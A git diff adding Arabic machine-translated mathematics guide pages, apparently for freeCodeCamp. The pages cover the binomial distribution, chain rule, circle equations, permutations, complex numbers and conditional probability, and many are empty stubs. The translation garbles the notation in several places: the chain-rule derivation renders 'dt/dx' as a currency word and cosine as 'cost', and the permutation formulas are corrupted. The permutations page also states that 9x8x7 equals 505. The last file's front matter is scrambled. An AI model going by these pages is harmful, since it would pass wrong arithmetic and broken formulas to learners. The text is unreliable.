+من الأفكار الجيدة لممارسة البرمجة وفهم تحويل الأرقام بشكل كامل أن تقوم برمز أداة التحويل الخاصة بك عبر الإنترنت. إذا كنت تريد معرفة المزيد عن هذا الموضوع ، يرجى التحقق من [إدخال ويكيبيديا](https://en.wikipedia.org/wiki/Positional_notation) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/binomial-distribution/index.md b/client/src/guide/arabic/mathematics/binomial-distribution/index.md
new file mode 100644
index 0000000000..511c6de730
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/binomial-distribution/index.md
@@ -0,0 +1,18 @@
+---
+title: Binomial Distribution
+localeTitle: توزيع ثنائي
+---
+إذا كانت X ~ B (n، p) فإن: P (X = x) = (n / x) p ^ x مضروبًا في (1-p) ^ (nx)
+
+![احتمالا](https://wikimedia.org/api/rest_v1/media/math/render/svg/d33401621fb832dd2f9783e80a906d562f669008)
+
+![رسم بياني](https://wikimedia.org/api/rest_v1/media/math/render/svg/38d86cba65d40f015a2b807d2b736250805abe45)
+
+إذا كانت X ~ B (n، p) فإن: E (X) = np Var (X) = np (1-p)
+
+توزيعات ذات الحدين تحدث فقط في الحالات التالية:
+
+*   هناك عدد ثابت من التجارب ، ن.
+*   يجب أن تكون كل تجربة ناجحة أو فاشلة.
+*   احتمال النجاح (ع) ثابت في كل تجربة.
+*   محاكمات مستقلة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/calculating-conditional-probability/index.md b/client/src/guide/arabic/mathematics/calculating-conditional-probability/index.md
new file mode 100644
index 0000000000..927048995d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/calculating-conditional-probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculating Conditional Probability
+localeTitle: حساب الاحتمالية الشرطية
+---
+## حساب الاحتمالية الشرطية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculating-conditional-probability/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/calculating-standard-deviation-step-by-step/index.md b/client/src/guide/arabic/mathematics/calculating-standard-deviation-step-by-step/index.md
new file mode 100644
index 0000000000..0cc850726b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/calculating-standard-deviation-step-by-step/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculating Standard Deviation Step by Step
+localeTitle: حساب الانحراف المعياري خطوة بخطوة
+---
+## حساب الانحراف المعياري خطوة بخطوة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculating-standard-deviation-step-by-step/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/calculations-with-months/index.md b/client/src/guide/arabic/mathematics/calculations-with-months/index.md
new file mode 100644
index 0000000000..b23cea86b6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/calculations-with-months/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculations with Months
+localeTitle: الحسابات مع شهور
+---
+## الحسابات مع شهور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculations-with-months/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/central-limit-theorem/index.md b/client/src/guide/arabic/mathematics/central-limit-theorem/index.md
new file mode 100644
index 0000000000..cb9c3b07f9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/central-limit-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Central Limit Theorem
+localeTitle: نظرية الحد المركزي
+---
+## نظرية الحد المركزي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/central-limit-theorem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/chain-rule-introduction/index.md b/client/src/guide/arabic/mathematics/chain-rule-introduction/index.md
new file mode 100644
index 0000000000..b7857d83a8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/chain-rule-introduction/index.md
@@ -0,0 +1,81 @@
+---
+title: Chain Rule Introduction
+localeTitle: سلسلة قواعد مقدمة
+---
+# سلسلة قواعد مقدمة
+
+تُستخدم قاعدة السلسلة لحساب مشتق تركيبة من الوظائف.
+
+دع _F_ تكون دالة ذات قيمة حقيقية وهي مركب من وظيفتين _f_ و _g_ ie `F(x) = f(g(x))` و f (x) و g (x) مختلفان. دع المشتق D {F (x)} يُشار إليه بالرمز F '(x).
+
+بواسطة سلسلة القاعدة ،
+
+#### _`F'(x) = f'(g(x)).g'(x)`_
+
+لنفترض أن g (x) = t ثم F (x) = f (g (x)) يمكن إعادة كتابتها كـ F (x) = f (t) ثم في سلسلة Leibniz يمكن إعادة كتابة Chain Rule على النحو التالي:
+
+#### `d(F)/dx = df/dt . dt/dx`
+
+### مثال 1. لحساب مشتق من الخطيئة (ax + b)
+
+الحل: يمكن تصور الدالة كمركب من وظيفتين. F (x) = f (g (x))
+
+t = g (x) = ax + b و f (t) = sin (t)
+
+f (t) = sin (t) => df / dt = cos (t)
+
+t = g (x) = ax + b => dt / dx = a
+
+الآن عن طريق سلسلة القاعدة:
+
+d (F) / dx = df / dt. دينارا / DX
+
+\=> d (F) / dx = a. التكلفة (t) = a.cos (ax + b)
+
+أو
+
+يمكننا مباشرة تطبيق الصيغة F '(x) = f' (g (x)). g '(x) = cos (ax + b). ا
+
+## للحصول على دالة مركّب لأكثر من وظيفتين:
+
+دع _F_ تكون دالة ذات قيمة حقيقية وهي مركب من أربع وظائف _rstu_ أي `F(x)=r(s(t(u(x))))` وجميع الوظائف _r (x) s (x) t (x) ش (س)_ هي قابلة للتنوع. دع المشتق D {F (x)} يُشار إليه بالرمز F '(x).
+
+بواسطة سلسلة القاعدة ،
+
+#### _`F'(x) = r'(s(t(u(x)))).s'(t(u(x))).t'(u(x)).u'(x)`_
+
+لنفترض ، a = u (x) ، b = t (a) ، c = s (b) ثم يمكن إعادة كتابة F (x) = r (s (t (u (x)))) كـ F (x) ) = ص (ج)
+
+ثم ، F (x) = r (c) => d (F) / dx = dr / dc. dc / dx \_\_\_ (eqn 1)
+
+c = s (b) => dc / dx = ds / db. db / dx \_\_\_ (eqn 2)
+
+b = t (a) => db / dx = dt / da. da / dx \_\_\_ (eqn 3)
+
+a = u (x) => da / dx = du / dx \_\_\_ (eqn 4)
+
+عند وضع قيمة eqn 2 3 4 في eqn 1 ، سوف نحصل على:
+
+#### `d(F)/dx = dr/dc . ds/db . dt/da . du/dx`
+
+### مثال 2. لحساب مشتق من الخطيئة (cos ((mx + n) ^ 3))
+
+الحل: يمكن تصور الدالة كمركب من أربع وظائف. F (x) = r (s (t (u (x))))
+
+حيث a = u (x) = mx + n
+
+b = t (a) = a ^ 3
+
+c = s (b) = cos (b) ثم F (x) = r (s (t (u (x)))) يمكن إعادة كتابتها كـ F (x) = r (c) = sin (c)
+
+الآن ، عن طريق قاعدة سلسلة: d (F) / dx = dr / dc. س / ديسيبل. dt / da. دو / DX
+
+\=> d (F) / dx = cos (c). -sin (ب). 3 أ ^ 2. م
+
+\=> d (F) / dx = cos (cos ((mx + n) ^ 3)). -sin ((mx + n) ^ 3)). 3 (mx + n) ^ 2. م
+
+أو
+
+يمكننا تطبيق الصيغة مباشرة ،
+
+F '(x) = r' (s (t (u (x)))). s '(t (u (x))). t' (u (x)). u '(x) = cos ( cos ((mx + n) ^ 3)). -sin ((mx + n) ^ 3)). 3 (mx + n) ^ 2. م
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/circle-equations/index.md b/client/src/guide/arabic/mathematics/circle-equations/index.md
new file mode 100644
index 0000000000..1243de65b0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/circle-equations/index.md
@@ -0,0 +1,41 @@
+---
+title: Circle Equations
+localeTitle: معادلات الدائرة
+---
+## معادلات الدائرة
+
+![تم توسيط الدائرة عند (x0، y0) مع نصف القطر r ونقطة P (x، y) على الدائرة وزاوية t](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_2.gif)
+
+### 1\. شكل نصف قطر المركز:
+
+دائرة لها مركز _**(x 0 ، y 0 )**_ ونصف قطر **_r_** .
+
+يمكن تمثيل معادلة الدائرة على النحو التالي:
+
+![(x-x0) ^ 2 + (y-y0) ^ 2 = r ^ 2](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_3.png)
+
+#### المعادلة العامة للدائرة:
+
+![x ^ 2 + y ^ 2 + 2gx + 2fy + c = 0](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_6.png)
+
+حيث و `g` `f` و `c` هي ثوابت.
+
+وبالتالي،
+
+![x0 = (-g) و y0 = (-f) و r = الجذر التربيعي لـ (g ^ 2 + f ^ 2 -c)](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_9.png)
+
+### 2\. شكل حدودي:
+
+الدائرة ذات المركز _**(x 0 ، y 0 )**_ و radius تجعل الزاوية **_t_** بالاتجاه الموجب _للمحاور السينية_ ، ثم تسمى **_t_** `parameter` .
+
+يمكن تمثيل معادلة الدائرة على النحو التالي:
+
+![x = x0 + rcos (t)، y = y0 + rsin (t)](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_4.png)
+
+إلى عن على،
+
+![0 <= t <= 2 pi](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_5.png)
+
+### معلومات اكثر:
+
+[معادلة الدائرة](http://mypages.valdosta.edu/alazari/math1111/Circle.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/circle/index.md b/client/src/guide/arabic/mathematics/circle/index.md
new file mode 100644
index 0000000000..c45c5779d6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/circle/index.md
@@ -0,0 +1,19 @@
+---
+title: Circle
+localeTitle: دائرة
+---
+## دائرة
+
+الدائرة هي شكل مغلق حيث تكون جميع النقاط على نفس المسافة من المركز.
+
+تسمى المسافة من نقطة واحدة إلى المركز نصف القطر (R).
+
+المسافة من نقطة واحدة ، عبر المركز إلى نقطة أخرى تسمى القطر (D).
+
+تسمى المسافة حول الدائرة بالمحيط (C).
+
+![circle](https://upload.wikimedia.org/wikipedia/commons/thumb/0/03/Circle-withsegments.svg/612px-Circle-withsegments.svg.png "دائرة")
+
+#### معلومات اكثر:
+
+يمكن العثور على مزيد من المعلومات مع الرسوم التوضيحية هنا: https://en.wikipedia.org/wiki/Circle
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/combinations-and-permutations/index.md b/client/src/guide/arabic/mathematics/combinations-and-permutations/index.md
new file mode 100644
index 0000000000..cb823000ed
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/combinations-and-permutations/index.md
@@ -0,0 +1,31 @@
+---
+title: Combinations and Permutations
+localeTitle: تركيبات وتباديل
+---
+## تركيبات وتباديل
+
+لنفترض أن لديك 9 أشخاص يتنافسون في المراكز الثلاثة الأولى في إحدى بطولات الغولف. كم عدد الإمكانات المختلفة الموجودة في المراكز الثلاثة الأولى في الدورة؟ حسنا ، إذا اخترنا المركز الأول ، لدينا 9 أشخاص للاختيار من بينها. بعد ذلك ، سيكون لدينا 8 للاختيار من بينها للحصول على المركز الثاني ، و 7 للمركز الثالث. لحساب الإجمالي ، علينا ببساطة مضاعفة هذه القيم معًا:
+
+9x8x7 = 505
+
+هذا مثال على التقليب. التقليب هو عدد الاحتمالات المختلفة التي يمكن أن تحدث في حالة معينة. يمكن أن يكون التبادل مع التكرار أو بدونه ، مثلما يمكن الجمع بينهما. إذا قلنا أن هناك تباديل للأشياء n مع احتمالات r ، ستكون الصيغ:
+
+\##### **مع التكرار:** ن ^ ص
+
+\##### **بدون التكرار:** ن! / (رقم)!
+
+بالعودة إلى المشكلة في الأعلى ، ماذا لو كانوا يجلسون في ثلاثة مقاعد متماثلة بدلاً من الترتيب؟ هذا مثال على الجمع. في تركيبة ، لا يهم النظام. لذلك ، يجب إزالة كل تقليد من نفس المجموعة. هذا يخلق اثنين من الصيغ:
+
+\##### **مع التكرار:** (ص + ن 1)! / (ص! (N-1)!)
+
+\##### **بدون التكرار:** ن! / (ص! (رقم)!)
+
+### مصادر
+
+"التركيبات والتباديل." Math is Fun، www.mathsisfun.com/combinatorics/combinations-permutations.html.
+
+[ساعد مجتمعنا في توسيع هذه المقالة](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/combinations-and-permutations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/complementary-angles/index.md b/client/src/guide/arabic/mathematics/complementary-angles/index.md
new file mode 100644
index 0000000000..24f0667ba4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/complementary-angles/index.md
@@ -0,0 +1,21 @@
+---
+title: Complementary Angles
+localeTitle: زوايا متكاملة
+---
+# زوايا متكاملة
+
+## فريف
+
+اثنين من الزوايا التي (عندما تضاف معا) لديها مجموع 90 درجة ، تسمى زوايا التكميلية.
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Complementary-angles/comp1.png)
+
+لا يجب أن تكون الزوايا التكميلية بجانب بعضها البعض ، طالما أن المجموع 90 درجة.
+
+### فمثلا :
+
+في الأرقام المذكورة أعلاه، الرسوم البيانية `a.` و `b.` تبين أن الزوايا التكميلية _متاخمة_ ، بينما في `c.` `d.` ، الزوايا التكميلية _ليست متجاورة_ .
+
+## معلومات اكثر:
+
+[زوايا متكاملة](https://www.mathsisfun.com/geometry/complementary-angles.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/completing-the-square-circle-equations/index.md b/client/src/guide/arabic/mathematics/completing-the-square-circle-equations/index.md
new file mode 100644
index 0000000000..6f78860b7a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/completing-the-square-circle-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Circle Equations
+localeTitle: استكمال معادلات دائرة مربعة
+---
+## استكمال معادلات دائرة مربعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-circle-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/completing-the-square-finding-the-vertex/index.md b/client/src/guide/arabic/mathematics/completing-the-square-finding-the-vertex/index.md
new file mode 100644
index 0000000000..96aa252fe5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/completing-the-square-finding-the-vertex/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Finding the Vertex
+localeTitle: إكمال مربع العثور على قمة الرأس
+---
+## إكمال مربع العثور على قمة الرأس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-finding-the-vertex/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/completing-the-square-solving-quadratic-equations/index.md b/client/src/guide/arabic/mathematics/completing-the-square-solving-quadratic-equations/index.md
new file mode 100644
index 0000000000..bc654a48d5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/completing-the-square-solving-quadratic-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Solving Quadratic Equations
+localeTitle: استكمال المعادلات التربيعية في ميدان الحل
+---
+## استكمال المعادلات التربيعية في ميدان الحل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-solving-quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/completing-the-square/index.md b/client/src/guide/arabic/mathematics/completing-the-square/index.md
new file mode 100644
index 0000000000..566701f287
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/completing-the-square/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square
+localeTitle: استكمال الساحة
+---
+## استكمال الساحة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/complex-fractions/index.md b/client/src/guide/arabic/mathematics/complex-fractions/index.md
new file mode 100644
index 0000000000..f14e8c5218
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/complex-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Complex Fractions
+localeTitle: الكسور المعقدة
+---
+## الكسور المعقدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/complex-fractions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/complex-numbers-introduction/index.md b/client/src/guide/arabic/mathematics/complex-numbers-introduction/index.md
new file mode 100644
index 0000000000..414a282f61
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/complex-numbers-introduction/index.md
@@ -0,0 +1,31 @@
+---
+title: Complex Numbers Introduction
+localeTitle: أرقام معقدة مقدمة
+---
+## أرقام معقدة مقدمة
+
+الرقم المركب هو أي رقم يمكن التعبير عنه في شكل z = a + ib.
+
+![أنا](https://www.codeproject.com/KB/cpp/882975/SquareRoot1.png)
+
+يسمى الجزء الحقيقي من العدد المركب ، ويسمى b الجزء التخيلي.
+
+#### ملحوظة
+
+رقم وهمي محض أو رقم حقيقي خالص هو أيضًا رقم مركب.
+
+#### أمثلة
+
+1.  ما هو الجزء الحقيقي من 2i + 1؟ أ. الجزء الحقيقي: 1
+    
+2.  ما هو الجزء التخيلي من 2 - 4i؟ الجزء التخيلي: -4
+    
+3.  هل هو رقم مركب z = 2i؟ نعم ، لأنه يمكننا كتابة هذا الرقم على أنه z = 0 + 2i.
+    
+4.  هل هو رقم مركب z = 4؟ نعم ، لأننا نستطيع كتابة هذا الرقم كـ z = 4 + 0i.
+    
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا: أرقام معقدة](https://en.wikipedia.org/wiki/Complex_number)
+*   [معلومات اكثر](https://www.khanacademy.org/math/algebra2/introduction-to-complex-numbers-algebra-2/the-complex-numbers-algebra-2/a/intro-to-complex-numbers)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/composition-of-functions-composing-functions-with-functions/index.md b/client/src/guide/arabic/mathematics/composition-of-functions-composing-functions-with-functions/index.md
new file mode 100644
index 0000000000..5a19723a98
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/composition-of-functions-composing-functions-with-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition of Functions Composing Functions with Functions
+localeTitle: تكوين وظائف تأليف وظائف مع وظائف
+---
+## تكوين وظائف تأليف وظائف مع وظائف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/composition-of-functions-composing-functions-with-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/composition-of-functions/index.md b/client/src/guide/arabic/mathematics/composition-of-functions/index.md
new file mode 100644
index 0000000000..1c4136cae6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/composition-of-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition of Functions
+localeTitle: تكوين وظائف
+---
+## تكوين وظائف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/composition-of-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/compute-determinant-of-matrix-simulink/index.md b/client/src/guide/arabic/mathematics/compute-determinant-of-matrix-simulink/index.md
new file mode 100644
index 0000000000..4ba87a8540
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/compute-determinant-of-matrix-simulink/index.md
@@ -0,0 +1,11 @@
+---
+title: Compute Determinant of Matrix Simulink
+localeTitle: حساب الحافز من مصفوفة Simulink
+---
+## حساب الحافز من مصفوفة Simulink
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/compute-determinant-of-matrix-simulink/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/conditional-probability-with-bayes-theorem/index.md b/client/src/guide/arabic/mathematics/conditional-probability-with-bayes-theorem/index.md
new file mode 100644
index 0000000000..f392959467
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/conditional-probability-with-bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Conditional Probability with Bayes Theorem
+localeTitle: الاحتمال الشرطي مع نظرية بايز
+---
+## الاحتمال الشرطي مع نظرية بايز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conditional-probability-with-bayes-theorem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/conditional-probability/index.md b/client/src/guide/arabic/mathematics/conditional-probability/index.md
new file mode 100644
index 0000000000..ff3a8b1b83
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/conditional-probability/index.md
@@ -0,0 +1,18 @@
+---
+title: Conditional Probability
+localeTitle: احتمال مشروط
+---
+## احتمال مشروط
+
+الاحتمال الشرطي هو احتمال حدوث حدث ، نظراً لأن حدثًا آخر قد حدث بالفعل. لذا ، على سبيل المثال ، الاحتمال الشرطي لحدث **A** هو احتمال حدوث الحدث نظراً لحدوث الحدث **B** بالفعل. ويُشار إلى هذا الاحتمال بالرمز `P(A|B)` .
+
+يتم كتابة الاحتمال الشرطي للحدث ( **أ)** نظراً لحدوث الحدث ( **ب)** على النحو التالي:
+
+![صيغة احتمالية مشروطة](https://pbiswas101.files.wordpress.com/2018/10/conditional-probability.png?w=450) **طالما P (B)> 0**
+
+**ملاحظة** - في الحالة التي تكون فيها الأحداث **A** و **B** مستقلة (حيث لا يكون للحدث **B** أي تأثير على احتمال الحدث **A** ) ، فإن الاحتمال الشرطي للحدث **A** حدث معين **B** هو ببساطة احتمال حدوث الحدث **A** ، أي `P(A)` .
+
+### مصادر
+
+*   [الاحتمالية الشرطية - ويكيبيديا](https://en.wikipedia.org/wiki/Conditional_probability)
+*   [معهد ماساتشوستس للتكنولوجيا OpenCourseWare - يوتيوب](https://www.youtube.com/watch?v=JGeTcRfKgBo)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/confidence-intervals/index.md b/client/src/guide/arabic/mathematics/confidence-intervals/index.md
new file mode 100644
index 0000000000..ab8dbc3ef7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/confidence-intervals/index.md
@@ -0,0 +1,11 @@
+---
+title: Confidence Intervals
+localeTitle: فترات الثقة
+---
+## فترات الثقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/confidence-intervals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/congruent/index.md b/client/src/guide/arabic/mathematics/congruent/index.md
new file mode 100644
index 0000000000..e12f6c3495
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/congruent/index.md
@@ -0,0 +1,17 @@
+---
+title: Congruent
+localeTitle: تتطابق
+---
+## تتطابق
+
+Congruency هي فكرة تعني ، بغض النظر عن موقعها أو موقعها أو اتجاهها ، أن شخصيتين هندسيتين أو أكثر لها نفس الشكل والحجم. عندما يكون هناك شيئين أو أكثر متطابقين ، يتم تسميتهما بالتطابق.
+
+العمليات التي ينتج عنها أرقام متطابقة تشمل: استدارة تعكس ترجمه
+
+العمليات التي تنتج عن أرقام متطابقة لا تشمل: تمدد
+
+ومن المثير للاهتمام ، فإن توسيع شكل من خلال مقياس معين لن ينتج أشكالاً متطابقة. ولكن الأشكال ستكون متشابهة وتحافظ على النسب الجانبية / الزاوية.
+
+#### معلومات اكثر:
+
+[هنا دليل](https://www.mathsisfun.com/geometry/congruent.html) للمعلومات حول إنتاج الأشكال المتطابقة
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/conics-hyperbolas-introduction/index.md b/client/src/guide/arabic/mathematics/conics-hyperbolas-introduction/index.md
new file mode 100644
index 0000000000..53fe33eb94
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/conics-hyperbolas-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Conics Hyperbolas Introduction
+localeTitle: Conics Hyperbolas مقدمة
+---
+## Conics Hyperbolas مقدمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conics-hyperbolas-introduction/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/conics-parabolas-introduction/index.md b/client/src/guide/arabic/mathematics/conics-parabolas-introduction/index.md
new file mode 100644
index 0000000000..e8a1578a89
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/conics-parabolas-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Conics Parabolas Introduction
+localeTitle: Conics Parabolas مقدمة
+---
+## Conics Parabolas مقدمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conics-parabolas-introduction/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/constructing-a-box-plot/index.md b/client/src/guide/arabic/mathematics/constructing-a-box-plot/index.md
new file mode 100644
index 0000000000..37fcb338c1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/constructing-a-box-plot/index.md
@@ -0,0 +1,13 @@
+---
+title: Constructing a Box Plot
+localeTitle: بناء مؤامرة مربع
+---
+## بناء مؤامرة مربع
+
+مؤامرات الصندوق ، وتسمى أيضا مربعات الصندوق والشارب ، هي تمثيلات للبيانات لمتغير واحد. عندما يكون لديك مجموعة من البيانات الرقمية ، يمكنك العثور على المتوسط ​​، والحد الأدنى ، والقصوى ، والربيع الأعلى ، والربيع الأدنى ، وإنشاء مخطط مربع. يمكنك إنشاء مربع فوق أحد أسطر الأرقام بنهاية واحدة عند نقاط الربعية العليا والسفلى ، وخط في الداخل في الوسيط. يمكنك بعد ذلك جعل الخطوط في الحد الأدنى والحد الأقصى ورسم الخطوط إلى أقرب حافة المربع.
+
+## مصادر
+
+*   [Stapel ، إليزابيث. "الأرباع ، الصناديق ، والشوارب" ، الربوع ، الصناديق والشوارب | Purplemath ، Purplemath ، 2017](www.purplemath.com/modules/boxwhisk.htm)
+
+## معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/converse-inverse-contrapositive/index.md b/client/src/guide/arabic/mathematics/converse-inverse-contrapositive/index.md
new file mode 100644
index 0000000000..573a8e628a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/converse-inverse-contrapositive/index.md
@@ -0,0 +1,5 @@
+
+tlocaleTitle: الحديث العكسية العكسية
+itle: Converse معكوسه contrapositive
+
